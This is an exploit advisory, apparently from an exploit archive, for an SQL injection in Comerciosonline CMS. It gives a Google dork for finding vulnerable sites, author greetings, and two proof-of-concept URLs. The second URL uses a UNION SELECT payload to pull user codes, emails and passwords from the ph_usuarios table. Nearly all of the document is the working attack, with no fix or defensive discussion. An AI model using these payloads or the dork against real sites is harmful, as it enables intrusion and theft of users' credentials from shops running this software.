Comerciosonline CMS 5.6 SQL Injection

`# Exploit Title: Comerciosonline CMS SQLi  
# Google Dork: allintext: " Servicio ofrecido por ComerciosOnLine "  
# Date: 27/01/2011  
# Author: Daniel Godoy  
# Author Mail: DanielGodoy[at]GobiernoFederal[dot]com  
# Author Web: www.delincuentedigital.com.ar  
# Software Link: http://www.comerciosonline.com/index.php?p=8  
# Version: All  
# Tested on: Linux, Windows  
  
[Comment]  
Agradezco a mis amigos: Hernan Jais, Alfonso Cuevas, Lisandro  
Lezaeta, Nicolas Montanaro, Inyexion, Login-Root, KikoArg, Ricota,  
Xarnuz, Truenex  
  
  
  
[POC]  
http://localhost/b2c/index.php?page=pp_productos.php&tipo=1&codf=-1+UNION+SELECT+1,2,3,4,5--  
  
http://localhost/b2c/index.php?page=pp_productos.php&tipo=1&codf=-1+UNION+SELECT+1,2,3,4,concat_ws(0x3a,codigousuario,email,password)+from+ph_usuarios--  
  
  
`